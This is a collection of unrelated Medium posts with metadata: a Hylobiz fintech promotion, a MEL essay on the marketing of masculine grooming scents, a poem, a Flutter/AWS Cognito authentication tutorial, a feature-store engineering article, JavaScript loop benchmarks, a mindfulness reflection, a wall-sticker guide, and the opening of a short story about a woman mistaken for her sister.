The businesses that use Hylobiz, understand through their positive experience the importance of using the right tools.
A business owner based out of Chennai, recently shared,
“ The business health score and real time reporting available on the platform are worth mentioning. I am now able to make quick and effective decisions anytime even when I am travelling. The business after using Hylobiz platform is enjoying better cash flow and is growing at a rapid pace.”
We understand that you would also love to know the reviews of the accounting and sales professionals as they are the experts dealing with most of the features available on the platform.
To our sales team, the Accounting Manager of a business in UAE, shared,
“ All our financial record tracking and transactions are done digitally through Hylobiz platform. The automatic reconciliations and settlements make our work easy and error free. We need not spend hours in journals and ledgers. We face audits boldly and spend good time in financial analysis and pointing out risks.”
The sales head of a business located in Bangalore once pointed out,
“ With Hylobiz our collections are better than before, and our customers are happy as we communicate with them effectively with proof through Emails and SMS. We can even reach them through WhatsApp. Thanks to Hylobiz as we are able to reach more customers. “
Hylobiz is a highly secured platform offering data encryption and digital certificates. Hylobiz with the digital tracking of financial records, transactions, and inventories, allows you to avail credits from its partner banks (in India -HDFC, Kotak, ICICI, Yes Bank) and makes you eligible to get credits from other banks and financial institutions across the world. You can organize your accounts well, manage assets and liabilities and efficiently manage working capital. With Hylobiz you can enable credit to your buyers in the distribution network and eventually can grow your business efficiently faster.
The system also strengthens your business with business insurances facilities which you may like to opt for.
At Hylobiz, the experienced professionals, are continuously in the process of analysis, upgradations, and innovations to cater the growing needs of business owners, accounting professionals and sales professionals of all businesses across industries.
Top few features in Hylobiz helping businesses
Real time business dashboards
The real time business dashboard help analyse risk, forecast, and make financial and business decisions efficiently. The dashboard shows
Financial and business health,
The upcoming payables and receivables
The overdue summary.
Receivables
The receivables feature
Allow creation of branded invoices
Enables you to import single invoices or multiple invoices in bulk.
Allow quick settlements
Digital payment links of receivables can be sent out by Hylobiz sellers
Payables
The Payables feature help
Manually create and handle payables
Pay out for single invoice or in bulk for multiple invoices.
Send out a payment confirmation message to both payer and receiver
Reconciliation reports
Automated reconciliations and daily settlements keep the finances updated and tracked
The payment transactions report tracks financial records accurately.
Alerts and Reminders
The alerts and reminders can be configured at company and contact level.
Alerts and reminders are sent through Email, SMS, and WhatsApp promoting a better business relation with customers and suppliers.
Professional emails with the help of email templates
With Hylobiz, you will be able to t rack unrealized cheques, understand the business cashflow through a single view, manage multiple businesses, understand receivables and payables through real time view, avoid manual tasks and boost customer relationship by sharing digital ledgers. You will be able to communicate better with your customers and vendors through WhatsApp and in App chats.
Importantly, you may empower your business on digital store front with Hylobiz. We assure you will be able to earn better revenues, make long term plans efficiently and meet organizational goals without any fail once we are with you.
If you feel interested to get connected with us, please email us at support@hylo.biz | https://medium.com/@hylobiz/how-hylobiz-is-helping-thousands-of-businesses-stay-relevant-in-their-game-5b1b24a4e9a2 | ['Hylo Biz'] | 2020-12-23 06:14:32.733000+00:00 | ['Hylobiz', 'Online', 'Banking', 'Business', 'Help'] |
What It Means to Smell Like a Man | What It Means to Smell Like a Man
Beer soap, bacon beard oil and the marketing of fragrant masculinity
Brian Foster needed a manly name for his new line of masculine grooming products. Without one, he was worried that men would be less likely to buy the small-batch pomades he had developed with his wife. Luckily, the thunderbolt struck with macho force — it would be undeniable that his hair styling product was for anyone other than dudes (and the most manly among them at that).
“I was covered in sawdust and drinking whiskey in my woodshop at the end of the day,” he remembers. “The name just came to me: Whiskey and Sawdust. I hoped it captured the essence of a man reaching for a glass of whiskey after he chops down a tree.”
To further clarify to men that his pomade was cool for them to use, Foster built a display case for it that resembled an old-timey tool box. Archetypal, hyper-masculine iconography adorned the lids of each variation on styling and hold: The “Gentleman’s Blend” featured a pair of corncob pipes; the “Anchor” a sailor’s tattoo; the “Woodsman” an axe; and so on.
Foster is hardly alone in adopting the manliest, booziest motif possible to offset the implicit femininity of beauty products — sorry, grooming products. “Women buy beauty products, men buy grooming products,” notes Kristen Barber, an assistant professor of sociology at Southern Illinois University at Carbondale. “But the truth is, these products aren’t that different.”
Here are the results of a quick Google search for “masculine grooming products”: Beard Bourbon (“brewed for you by beard enthusiasts”); Whisky & Water Hand Lotion (“a rich fragrance redolent of the finest oak-aged single malt and skin-calming extract of Scottish malted barley”); Coffee & Stout Beer Soap (“beer yeast can help strengthen skin elasticity”); Corktown Beard Oil (“from a time when a man knew how to kick his feet up when he got home to relax with the smell of sweet tobacco in his pipe”); Beardilizer beard oils #12 Dirty South Bacon (“preferred by the man who loves to warm himself by a hickory log campfire”) and #17 Ol’ Cowboy Leather (“for guys who need to gear up for a long day in the saddle, wherever that may be…”).
There must be a reason why all these products are marketed to men with such stereotypically masculine (and insultingly basic) fragrances, right? Do we have some sort of Pavlovian response to things that smell like bourbon and bacon? Or is this, like so many other things, Darwinian and related to mating? Might these scents be loaded with hidden pheromones that make them irresistible to the people we hope to have sex with?
“Absolutely not,” writes George Preti, an adjunct professor of dermatology at the University of Pennsylvania with a doctorate in organic chemistry. I had emailed to ask him whether the scent of oak-aged Scottish malted barley was a turn-on biologically.
“I study the nature, abundance and biogenesis of human odors, not trends in men’s fragrances,” he adds. “There are no ‘pheromones’ in any of the scents you described or any others because we don’t know what the chemical nature and structures of human primer or modulator pheromones even are.”
Tristan Bridges, an assistant professor of sociology at SUNY Brockport who studies how American men resist changes in gender relations, agrees: “I’d be suspicious of anyone claiming a biological reasoning for this trend. If the scent of whiskey, leather and freshly mowed grass has been historically shown to be biologically attractive throughout history, why has it only come into style in the last 10 years?”
It’s actually more like 15 years. In 2002, personal-care marketers chose the grooming and fashion-obsessed American man as their new frontier, dubbing him “the metrosexual,” a term first coined in the mid-1990s. The metrosexual was totally straight, they insisted — just more aware of his feminine side. He color-coordinated, he exfoliated, he manscaped. “America may be on the verge of a metrosexual moment,” The New York Times proclaimed in June 2003, writing about Bravo series called Queer Eye for the Straight Guy, in which “a team of five gay men transform a style-deficient and culture-deprived straight man from drab to fab.”
Marketing to the metrosexual meant conveying (in packaging, in commercials and in scent) that he was purchasing something totally different from what his female partner used: His lotion was not her moisturizer; his pomade was not her “styling wax”; their eye creams were nothing alike. And just like that, a dual market was born, whose very existence depended on adherence to one simple, manly rule: There’s absolutely no sharing allowed in the bathroom.
It proved to be a lucrative rule, too, and one that brands had little trouble following. Degree, for example, developed his and her antiperspirant lines in 2003 (previously it sold just one version); the men’s offering became the fastest-growing antiperspirant in the U.S. in 2004, doubling profits and attaining nearly 12 percent market share, according to Information Resources Inc.
“One of the men in my book talks about feeling insecure about getting his hair dyed,” says Barber, author of Styling Masculinity: Gender, Class, and Inequality in the Men’s Grooming Industry. “He didn’t want to go gray, but he was hesitant to use hair dye — until his stylist told him it was ‘pH-balanced for a man.’ All of a sudden he thought, That makes sense. Let’s try it.”
Of course, all of these new masculine versions of the same products needed to smell like something (as long as they smelled nothing like her products). So grooming companies landed on a dozen or so olfactory representations of various forms of aspirational masculinity. “I call it Vintage Masculinity,” Bridges says. “Lots of men today, particularly young, middle- and upper-class white men, are very interested in cultivating vintage masculine practices — things that might have passed for a trade a generation ago but today are taken on as hobbies or casual interests. Men are asking themselves what it means to be a man anymore, and this is a way for them to symbolically lay claim to manhood in a cultural moment when American manhood might be less meaningful than it used to be.”
Vintage masculinity isn’t complicated — most connotations come from fathers and grandfathers who may have enjoyed a Cubano with their nightly Old Fashioned. “The classic archetype of the 1960s is all about tobacco and booze,” says Dave Johnson, who reviews men’s colognes at FragranceBros.com. “Just look at Don Draper. Just about everyone would agree he’s a masculine guy. What does Draper smell like? Tobacco and booze. And women.”
Many of the trademarks of the vintage-masculinity trend — doing things the old-fashioned way because goddammit that’s how we used to do them, and pining for the heyday of white masculinity in America — are positively Trump-ian, or what the Los Angeles Times recently called a parody of American manhood. “Men used to feel masculine by being breadwinners, but that breadwinning role is dissolving because women are moving into the workforce and sharing household responsibilities,” Barber says. “If she can feel more like a woman when she buys and applies lipstick, why can’t he feel more like a man when he buys and applies beard oil or pomade?”
Just as cosmetics companies were able to redefine femininity during World War II, when American women stepped into factories to replace American men fighting overseas, they’re now redefining masculinity — and American men are eating it up. Even if he’s not a breadwinner, a husband can still feel like a man with a dab of Lip Whiskey. It also reinforces a straight man’s masculinity — he’s assured he won’t be considered gay because there’s an axe on the front of his bottle of body wash.
It’s not just about being a straight man; it’s about being a grown straight man, says Beardbro Mike Brunett. “You’re an adult and you’re finally drinking alcohol and can tell your friends you have bourbon in your beard, which contributes to an idea of coming of age, of no longer being a boy.”
Then again, it might not actually be men buying these products. A whopping 96 percent of women in a recent survey said they purchased grooming or personal care products for one or more men in their household, and 36 percent purchased them for men outside of their household. “A big percentage of our buyers are women,” Brunett notes. “Women were really responding to the scents of bourbon, whiskey and cigars, so we switched to more of a boozy lineup.”
Wieden+Kennedy, Old Spice’s ad agency, was among the first marketers to speak directly to the female consumer in a wildly successful 2010 campaign called “The Man Your Man Could Smell Like,” featuring a towel-clad human six-pack named Isaiah Mustafa who asks, “Hey ladies, does your man look like me? No, but he can smell like me.” He’s riding a white horse in one commercial; row-boating with a couple of glasses of champagne in another. (No one else in the rowboat, so women can imagine themselves there with him.) “Women have traditionally been the ones associated with consumerism,” Bridges explains. “So even though men are buying more and their dollars are becoming more powerful, women remain the primary consumers for families.” The idea is that because Mustafa is speaking directly to women, the men watching with them will assume their wives or girlfriends will find them attractive, too — if they buy the products.
This isn’t the first time American men have questioned their masculinity. At the turn of the 20th century, fearing the transition from vigorous physical labor to corporate work would erode the foundations of masculine identity, men developed new ideals that emphasized strenuous exercise, outdoor activity and the romantic ruggedness of nature. By 1910, for instance, physical education was being taught in every public school and the Boy Scouts of America had been established to “revitalize American manhood in response to immigration and urbanization.”
Nor can the trend be attributed to all men; many gay men would certainly scoff at the notion, myself included. Similarly, black Americans have a long tradition of wearing their Sunday best to church, which hasn’t typically included bacon-or whiskey-scented beard oil, cologne or body wash. “African Americans presented themselves in their finest and connected themselves to the divine,” says Anthony Pinn, author of the book Black Religion and Aesthetics and professor of religious studies at Rice University. “The suits and the dresses and scents became statements similar to ‘God made me, and God doesn’t make junk.’”
Finally, it should be noted that men don’t actually have to drink whiskey — or be a carpenter or a sailor or even like bacon — for these products to appeal to them. After all, they don’t really want to head out on Saturday night smelling like Sunday brunch. (Does anyone?) They do, however, want to attract potential mates. (Doesn’t everyone?) What they’re purchasing is a whiff of the cultural association between bacon and masculinity — or at least the essence of a man reaching for a glass of whiskey after he chops down a tree.
C. Brian Smith is a writer in Los Angeles. In his last piece for MEL, he investigated why so many millennial men were opting for jaw augmentation procedures.
More contemplating our masculinity on MEL: | https://medium.com/mel-magazine/what-it-means-to-smell-like-a-man-ee1d438f9366 | ['C. Brian Smith'] | 2016-09-02 23:45:49.076000+00:00 | ['Marketing', 'Body And Mind', 'Masculinity', 'Cologne', 'Bacon'] |
Townsend Shine Down | Townsend Shine Down
Thick sweater in a 73 fahrenheit room
No one is around
One is inflamed
Feels like an ordinary afternoon
Music in AirPods
Call in Bedroom
Good vibrations are setting the frame
One Hundred Seventy Eight, countdown
How much longer till I am gone
Take a polish with me
My forehead got flooded with emotions
Take a polish with me
Bright daylights dim down
Take a polish with me
Leave my toes crystal clean in town
Take a polish with me
Fill the blank pages with tea leaves
Fill the cracks with euphoria
Tell me you’ll write my name on it
when the Townsend Shines Down | https://medium.com/@kaearea/townsend-shine-down-17eaefe28f1a | ['Monty Burns Kate Crubs'] | 2020-12-04 01:07:30.206000+00:00 | ['San Francisco', 'Mood'] |
Authentication for Flutter using AWS Amplify - Build Apps FAST | Setting up authentication in a Flutter application is easy with the help of AWS Cognito, now available through Amplify Flutter. If you haven’t check out Part 1 of this series, I suggest you do that first.
A video tutorial I made to go along with this article
What are we making?
We will be making a simple registration and login system for a Flutter application that uses AWS Cognito as the authentication backend.
The login is very low latency
As always, you can find the code for this tutorial at our Github repo.
What do we need?
The only thing you need for this tutorial is the app you created in Part 1 of this tutorial series, which is just a sample app with amplify initialized.
If you don’t want to read part 1 and you are already familiar with Amplify Flutter, then simply create a new Flutter application and connect it to a cloud instance of Amplify.
Let’s Get Started
Create a Basic Amplify Project
If you are using the app you created in Part 1, you can skip this step.
Otherwise, create a new flutter project, and from the project directory run:
amplify init
Add AWS Cognito to our Project
From the integrated terminal, run
amplify add auth
This adds AWS Cognito to your project. After following the setup wizard, your terminal should look something like this:
Note that we are going to be using emails as the authentication method. I will cover the other methods in future tutorials.
Next, follow the instructions given in the terminal and run amplify push to deploy authentication to your cloud project.y
Checking on the Status of our Resources
You can check the status of your cloud resources by running amplify status.
At this point, a user pool should have been created in the cloud for your AWS Cognito service. Go to your user pools (make sure you select your region) and you should see a new user pool.
Interacting with Cloud Resources
A few steps are needed to interact with the cloud, if you just want the final result and don’t care about the step-by-step, go here for a checkpoint commit.
Many of these code snippets are derived from the AWS documentation. I will give explanations about what each logical component does, and provide you with a working example of a login form.
Add packages to pubspec.yaml
This gives us access to the dart packages for amplify.
amplify_core: '<1.0.0'
amplify_auth_cognito: '<1.0.0'
2. Amplify Initialization
This code snippet initializes our authentication plugin (and any other plugins we may have) and sets our apps flags so that we can handle an unsuccessful cloud connection in our app.
3. Register a User
Registering a user makes use of text controllers (not shown here). Once again, state flags (isSignUpComplete in this case) are set based on the result of the SignUp operation.
4. Sign In a User
And that’s it! Those are all of the logical building blocks that we will use to create a nice signup and login interface. The only thing left to do is integrate these components into a user interface, which we will do next.
Flutter Login
For convenience, we will use a flutter package called flutter_login to make our first integration quick and painless. As with all things in life, KISS.
Main.dart
Of course, add the following lines to your pubspec.yaml to enable our new packages:
flutter_login: '<1.0.0'
rflutter_alert: '^1.0.3'
You will need to add your own image to assets for the flutter_login logo
Testing User Registration
To register a new user, simply use the intuitive flutter_login interface to submit a new user request to Amplify Cognito.
Use a fake email, or a real one..your choice.
Navigate to your user pool and you should see a new user that was created:
In this case, I created two users
Select one of the users in your pool. Notice that the status is ‘UNCONFIRMED’. In this tutorial, we will be confirming our users manually simply by tapping on the ‘Confirm User’ button. In a future tutorial, I will demonstrate how to confirm users automatically using a verification code sent to their phone or email.
Tap ‘Confirm User’ to activate the new account
Testing User Login
Let’s try to login using the user that we just created.
Login and login success
This gif is mandatory
Wrapping Up
Still with me? At this point, we have a very basic authentication system for our app that leverages AWS Cognito. There are still several other topics to explore in regards to authentication, but they are beyond the scope of this tutorial. Some other challenges we need to tackle include:
Authentication based on different credential types Automatic confirmation of users 2FA and custom authentication processes
I hope to cover these topics in detail in a future article. Until then, let’s continue on our journey of nailing down the basics of AWS Amplify with Flutter. Next up — analytics.
This Series
Part 1: Basic Setup
Part 2: Authentication
Part 3: Analytics
Part 4: Storage
References | https://medium.com/swlh/flutter-apps-with-aws-backend-part-2-authentication-a66136f23995 | ['Adam Cyber'] | 2020-09-20 04:48:07.808000+00:00 | ['Authentication', 'Cognito', 'AWS', 'Flutter', 'Amplify'] |
Blockchains in Space with SpaceChain’s Alex Albano | In this two-part episode we talk to Alex Albano, COO of SpaceChain.
Alessandra has been advising blockchain projects since 2017. She joined SpaceChain after having been COO of DEX, a decentralised data exchange, and having been part of the founding team at Ocean Protocol, a decentralised data sharing protocol, in charge its ecosystem growth and operations.
Oxford Said Business School and INSEAD executive programs alumna, Alessandra specialises in sustainable growth strategies and operational excellence. She brings with her a wealth of experience in managing high-value contracts and large-scale teams in different sectors and at global level.
As one of the early innovators in tokenization, she is an established thought leader in ecosystem growth, she’s a published author and the founder of AcchaLabs.ai, a company that advises traditional companies on incorporating tokenization in their business model through incremental innovation.
Boasting more than a decade of experience in leading operations and marketing between Europe, India and Asia, Alessandra is in charge of SpaceChain’s global operations and strategy and leads its ecosystem growth.
Keen to champion more diversity in the space and blockchain sectors, Alessandra is an advocate for women in leadership roles in STEM, a mentor, and a speaker. | https://medium.com/clayming-space/blockchains-in-space-with-spacechains-alex-albano-561ce43373b7 | ['Clayming Space'] | 2020-07-15 07:42:31.433000+00:00 | ['Blockchain', 'Ethereum', 'Space Exploration', 'Space', 'Blockchain Technology'] |
Building a Feature Store to reduce the time to production of ML models | Image courtesy of Pixabay
A new problem in the industry
Within the world of software development and especially in the area of Machine learning, times assigned to analysis, development and deployment are key to the success of an organization. At Mercado Libre, we are not exempt from this problem and since it is a leading company in Latin America, much less. The staggering growth of Machine Learning development has no doubt meant new problems to large companies. Today there’s no denying that for many teams to work on the same backend, it is a standard practice to use a microservice infrastructure, but what happens when many of these autonomous teams also develop Machine Learning models?
Image courtesy of Pixabay
On Mercado Libre’s backend there are several entities that are consulted by many teams. For instance, we call “item” to the publication that a seller makes in our Marketplace. These items or publications contain, at least, a title, description, photos, interactions with thousands of users and a collection of structured information. Since our business needs are usually based precisely on these types of entities, at this level of abstraction, many teams have had to generate some type of model based on items such as a binary classification to know if an item should be moderated or not for breaking a rule, a classification by product category or a search for similar items to feed recommendations, to name a few.
Whether to do classification, regression or search for close neighbors, all these initiatives have had to go through a similar feature engineering process in order to generate representations of the item that would allow for the training of models. So we have the problem at sight. On the one hand, we have repeated effort across teams (and not a minor one). The feature engineering process can take time and is key to model development. On the other hand, not all teams can boast of a Machine Learning expert or of developers with significant experience in a tool or business area and even if they can, there may be no simple mechanism for other teams to take advantage of their knowhow.
Suppose a team wants to train a new binary classifier of items to separate them between those to be shipped in boxes or in bags. If it could start with a well-resolved representation of the item, this team could bring down the lead time of its first model from days to hours. It is at this point where we propose a Feature Store.
What is a Feature Store?
It is a centralized place where teams can consult the features of an entity. There are several approaches to implement this solution.
If we think of features in the traditional sense, as a characteristic of the entity understandable by a human, the feature store could be an API on a database engine that allows extracting specific information, for example “the number of publications visited by some user in the last 30 days”. At Mercado Libre, we have this type of solution, which contributes to many use cases and needs, but it is beyond the scope of this article to delve into it — interesting topic for another article, perhaps.
Another alternative — and the one we will actually be exploring — is to think of features as an intermediate level of abstraction which is not human-readable but which may have certain properties that make it useful for a model. Just as there are models that can generate arbitrary text embeddings, we can create models that generate embedding-like representations (n-dimensional vectors) from any entity we’re interested in (for example, items or shipments). The meaning of these vectors may not be clear to a human but they could have interesting properties. For instance, the vectors representing items (publications) corresponding to the same type of product can be close in the n-dimensional space; or the vectors that represent payments may be largely grouped so that we can set aside and review those whose representation is far from that group. This would enable us to find fraudulent transactions.
The properties of the representation will be tied to the underlying optimization process that generated them so if we use browsing sessions to infer the representations, 2 items will be similar under that representation when visited in similar contexts.
A solution proposed
Image courtesy of Pixabay
Service vs. Lib
One way of allowing any developer to transform an entity into a vector is through an API, though we’ve found some drawbacks in this strategy. The team developing the feature store has to build and be in charge of the maintenance of a specific micro service for this matter. This micro service has requirements (e.g.: latency, scalability, availability or costs) that are under the scope of the team that develops the user application and not of the one accountable for the feature store. Moreover, there could be several machine learning models that depend on the same micro service, which is likely to generate problems; for instance, the model that generates vectors may be adjusted to improve the performance of one of the models that consumes it, damaging the others. Even though this last point could be mitigated with a correct versioning of the API, it would entail a greater investment in the development and maintenance of the feature store.
Therefore, we’ve opted for the TensorFlowHub strategy which comprises a repository or “Hub” of models and an API to download them. After downloading, the developer becomes the owner of that object and is totally independent from our Hub. Thus, the application that uses it is only dependent on the feature store in the training stage and afterwards it can work in a completely self-contained way.
Only known tools
In addition, we decided that these models that transform entities into embeddings would be shared in python libraries with a scikit-learn interface. In other words, they can be installed with “pip” and are objects with fit and transform methods. This facilitates their adoption by our machine learning devs (who mostly already use python) not only to integrate them into sklearn pipelines but also to use in combination with other tools (for example, we have PyTorch models using these representations).
Versions
Yet another issue worth pointing out is that the same model could be used to represent different data sets (like publications in Spanish or Portuguese) and there could also be models trained with different hyper parameters (for example, to generate vectors of different dimensions). This is why these models have “versions.” To better illustrate this, we add an example for using our lib:
Example of how a developer uses a model stored in the Hub
What we achieve by this
The solution we propose has the following advantages:
Fast MVP
Since a good start-up solution for feature engineering is already available, you can have an MVP or proof of concept in a few days or even hours.
Less duplicate effort
Since we allow entity-to-feature transformations to be shared across teams.
Widespread expert knowledge
The knowledge and expertise of Machine Learning experts can be available to all teams.
Improvement of existing models
Embeddings can be combined with the features of models that are already in production, which can render improved metrics with very little effort.
Resource Optimization
Reducing redundant work not only saves developer hours, but also model training hours and infrastructure costs.
Next steps
Setting up a Hub of models that generate embeddings is one of many strategies to have a collaborative feature engineering system. Although we are still developing this valuable time-saving tool, we have been able to validate its effectiveness as proper embeddings allow us to train models with good initial performance in a short time.
Our challenge now is to ensure that the Hub continues adding new models and that its use keeps on growing in the company, maximizing synergy across teams. This implies understanding what information each machine learning developer (our user) needs in order to find the model that best solves their problem. | https://medium.com/data-for-ai/building-a-feature-store-to-reduce-the-time-to-production-of-ml-models-b7b735ff0a94 | ['Tomás Moreyra'] | 2020-12-04 07:38:06.265000+00:00 | ['Word Embeddings', 'Machine Learning', 'Data Science', 'Feature Engineering', 'Feature Store'] |
Measuring Performance of Different JavaScript Loop Types | Analyzing Will Give More Insights on Results
After going through the above results, you may question the differences between outputs in 2 browsers. The answer to that question is pretty straightforward, JavaScript engines of Chrome and Firefox are different from each other, and they use various optimization techniques.
Furthermore, let’s compare the results to see which loop has performed well.
Google Chrome — “for” is the Winner
Execution Times using Chrome Browser
In Google Chrome Browser, “for” Loop has shown the best performance with a minimum execution time while “for..in” showed the worst performance. The rest of the loops stays in the middle.
Firefox — “for”, “forEach”, “map” are joint Winners
Execution Times using Firefox Browser
When it comes to Firefox, “for”, “forEach” and “map” Loops showed the best performances (the variation is minimal). “While” and “DoWhile” performed the worst. The rest of the loops stays in the middle.
Execution Times Chrome vs Firefox
When we compare the results across browsers, except “While” and “DoWhile” the variation is minimal. You can also see that the “for” or “forEach” are the best options for both browsers.
These results are equally applicable to NodeJS since it uses the V8 JavaScript engine under the hood, developed for Chrome.
Summary
If you are given the option to select a single Loop, use “for”, which has the least execution time.
And I would encourage you to minimize the use of “While”, “DoWhile” which might cause inconsistencies in your execution time across Chrome and Firefox.
And it’s also essential to decide your strategy based on balancing performance and maintainability. Therefore, if you prefer a more functional coding style, choosing “forEach” is a safer bet.
Besides, if your Arrays are smaller, these differences won’t make much of a difference.
Thank you for Reading!!! | https://blog.bitsrc.io/measuring-performance-of-different-javascript-loop-types-c0e9b1d193ed | ['Chameera Dulanga'] | 2020-12-14 22:16:29.937000+00:00 | ['Web Development', 'Backend', 'JavaScript', 'Frontend', 'Front End Development'] |
#223 Mindful Moment | #223 Mindful Moment
this was a big aha for me
Photo by Darius Bashar on Unsplash
Changing one word
When I teach meditation I explain to people how thoughts will enter their minds as we sit, walk, or move through our meditation. Thoughts are expected, what we do with them is fundamental.
As I was walking the dogs this morning, as part of my mindfulness practice, I noticed that I was both excited and a little sad about my oldest kid going off to college in a few days. To honor and acknowledge those feelings without judgment, I named them. At first just repeating the words excited, excited, excited.
Then a sadness came over me.
Without even thinking (I lost my present moment awareness) I began saying I am sad. I am sad. I am sad.
Declaration vs. Exploration
I came back to my breath (the anchor I use to get back on track) realizing that I was declaring “I am sad.” which was not accurate.
I was feeling sad.
I was feeling excited then I was feeling sad.
Do you see the difference between:
I am sad.
I am feeling sad.
One sticks like glue and the other gives me an opportunity to recognize how I’m feeling and then let it pass. Or let it stay for a while. It doesn’t feel sticky.
Lessons Learned:
In the quiet of walking the dogs, big thoughts come to me.
Words are powerful. Using the phrase “I am” can be a great declarative sentence that keeps me aligned with my soul goals.
How I am feeling is a passing moment. On this walk, I felt hot as well. Now inside I’m much cooler. I can enjoy the moments of life — even the uncomfortable one because I know they won’t last forever. The simple feeling of being hot or hungry and the bigger feelings of will I be loved? or will I make it as a mindfulness teacher? | https://medium.com/mindful/223-mindful-moment-700e35c3aa71 | ['Renee Tarantowski'] | 2019-08-19 14:06:38.414000+00:00 | ['Mindfulness', 'Words', 'Wisdom', 'Personal Development', 'Writing'] |
Currying in 1min! | Currying in 1min!
Currying is the process of taking a function with multiple arguments and turning it into a sequence of functions each with only a single argument. Jatin Chauhan ·Dec 4, 2020
Currying is a transformation of functions that translates a function from callable a f(a, b, c) into callable a f( a )( b )( c ). | https://medium.com/@thejatinchauhan/currying-in-1min-ce162f4e587f | ['Jatin Chauhan'] | 2021-01-09 13:06:59.340000+00:00 | ['Javascript Tips', 'JavaScript', 'Function Currying'] |
How to apply wall sticker’s for baby room — Kids Land | In this blog we will deal with topic of how to apply wall decal for baby room. Before you start gluing, clean the surface on which you will stick the stickers, it must be smooth, clean and dry. If it is dusty, the sticker will peel off over time, so wipe the surface with a clean cloth. Do not stick stickers on freshly painted walls, wait for them to dry for a couple of days and only then stick them.
You can place stickers on windows, doors, walls and furniture, which gives you a wonderful decoration in the space. The advantage of stickers is that you can stick them on the desired place and remove them yourself, without anyone’s help, following the instructions. Once removed, the sticker cannot be pasted in a new place. Therefore, apply the label carefully, following the sequence of steps.
First you must know where to use:
Paint wall;
Ceramic tile;
Smooth wall paper;
Wood surface;
Metal surface;
Plastic surface;
Smooth wall;
Glass or mirror surface.
Where you can’t use wall stickers:
How to stick a sticker?
Follow the instructions below, step by step, and you will avoid the danger of the sticker moving or warping. Of course, you will also prevent the appearance of bubbles that can form when air is trapped under the sticker.
Wipe a wall with dry towel
Before you start gluing your sticker, with a clean cloth, wet or dry, wipe the wall surface from dust. If you decide to stick to tiles, furniture, glass or plastic, we recommend that you wipe the surfaces with alcohol or some alcohol-based window cleaner to degrease it. This will allow for a better grip. Wait for the place where you will stick it to dry well before continuing.
Pre-mark the paste location with pencil or tape
Mark with a pencil or marker the exact place where the sticker will be placed, to make sure it is not slanted or that it is not too low or too high. Place the sticker in the marked place and secure with duct tape or paper tape along the top edge.
Tear off along the edge of the pattern
Slowly remove the protective paper. Be careful not to contaminate the surface to be adhered to, and this is best achieved by starting to peel off the protective layer from where the label is attached to the backing tape. Slightly peel off the back (back) layer and lower the sticker. Press the top layers of the label, going down, to avoid bubbles. Use a plastic spatula, if the surface is ideally flat, or a soft cloth that will adhere well to not very smooth surfaces, so that the sticky side adheres better to the surface.
Fix a corner and press to other side slowly
Finally, once again run the appropriate tool, cloth or spatula, over the entire surface, due to any bubbles, and the job is done. | https://medium.com/@kids-land/how-to-apply-wall-stickers-for-baby-room-kids-land-c25ea252131 | ['Kids Land'] | 2021-01-24 19:19:57.289000+00:00 | ['Baby', 'Kids', 'Baby Room Decor', 'Baby Products', 'Stickers'] |
Mary Ellen goes home- Part 1 | Short story Fiction
Mary Ellen goes home- Part 1
Photo by willsantt from Pexels
Mary Ellen stepped off the greyhound bus and onto the black hot asphalt. The sun blared into her face blinding her. Everything was too bright and too loud. She rummaged through the purse strung over her shoulder. Searching in vain for her sunglasses.
Squinting she looked around trying to make out the objects and people around her.
Her fingers felt the arm of a pair of glasses. She let out a sigh of relief pulling her sunglasses out of her purse. She placed them gingerly onto her face and with fresh eyes looked around for her sister.
The bus station was empty but for a handful of people. Most fellow passengers from her ride. She wrinkled her brow confused. Her sister said she would meet her at the bus station.
Mary Ellen sighed and walked towards the back of the bus to get the small case she’d brought with her. It didn’t hold much. Enough items to last her through the weekend. That is all she needed. She wouldn’t be staying long.
She walked up to the driver bent over pulling suitcases out of the back compartment. She stood patient wondering if she should try to text or call her sister to see where she was.
Typical Merrily. Never one to count on. Mary Ellen shook her head and then stopped, feeling self-conscious. The driver looked up from the remaining suitcases.
“Which one yours?” his voice was abrupt and a bit impatient. Mary Ellen looked at him. A classic middle-aged man with a round belly and thinning hair. Perspiration stains circled in the pit of his arms. Her nose wrinkled in distaste.
She pointed to the vintage leather valise. A present to herself for her 35th birthday. Ironic she would buy such an extravagant bag. She never traveled, but at the time she hoped it would inspire her to start. He handed her the bag and she took it, enjoying the feel of the leather handle scratching against her palm.
“Thank you” she nodded curtly. The driver looked at her puzzled, his eyebrows cocked. Confused she turned from him. Mary Ellen didn’t have the time or patience to wonder what his problem was.
She clutched her satchel to her side and began to walk towards the building. Hoping against hope her sister was inside waiting.
She stood aside as a tall lean man with a cigarette tucked behind his ear pushed through the door. Mary Ellen reached for the door handle before it shut and was about to walk through when she heard the man speak out.
“Bob?” he hollered out.
Mary Ellen still holding onto the door turned curious to see who he was calling.
The bus driver turned to the man and motioned his head behind the man.
Mary Ellen turned from him, embarrassed. He’d spotted her being nosey.
“She here?” The man said again, stuffing his hands deep into his ratty jeans. Bob, the bus driver motioned his head at him again. His eyes brows rising up and down.
The man turned around and faced her staring at him.
“Merrily?” he said confused.
Mary Ellen stood frozen, rooted to the spot.
“I thought you said you couldn’t come?” he walked towards Mary Ellen and grasped her arm puzzled. “Why are you dressed like this?” His eyes looking her up and down.
“I,” Mary Ellen paused, trying to pull her arm from this strange man’s grasp. “I’m not Merrily.” Her voice was soft and weak. She hated herself for it.
“What the hell?” He shook his head in disbelief. Realizing he was still holding onto Mary Ellen’s arm he let go. He stood back swiping his hand through his dark greasy hair. The cigarette behind his ear fell to the ground and he bent to retrieve it. Standing up he placed the cigarette into his mouth and proceeded to light it.
He inhaled and squinted through the smoke at Mary Ellen. Surprised at her appearance. She pressed her glasses up her nose, glad she was somewhat hidden behind the shades.
“You,” he paused and took another drag, blowing the smoke out the side of his mouth. “You the sister?” He asked uncertainty prevalent in his tone. He looked her up and down again, soaking in her tan trench coat and nyloned legs, right down to her brown loafers.
Mary Ellen didn’t reply. She didn’t know what to say. Who was this strange man before her blowing smoke into her face? She clutched her bag closer to her ready to leap into action. But she didn’t. She stood like a statue not moving a hair.
He stood back unable to stop starring at her. “Shit, are you kidding me?” He said shaking his head and smoking again.”
“I,” Mary Ellen tried to speak but found she couldn’t. She ran her hand over her sleek dark hair pulled back in a tight bun at the nape of her neck.
The man dropped his cigarette stomping on it with the heal of his beaten cowboy boot. He blew out the remainders of his smoke and sighed.
“Mary Ellen?” he asked. his voice thick with hesitation.
Hearing her name Mary Ellen felt herself grow taller.
“This is crazy,” the guy said.
“How do you know my name?” Mary Ellen felt the blood rising up her face. This was getting ridiculous. “You obviously know my sister. Where is she? How come she isn’t here?”
The man slapped his hands down hard on his faded jeans and let out a whoop and began to laugh.
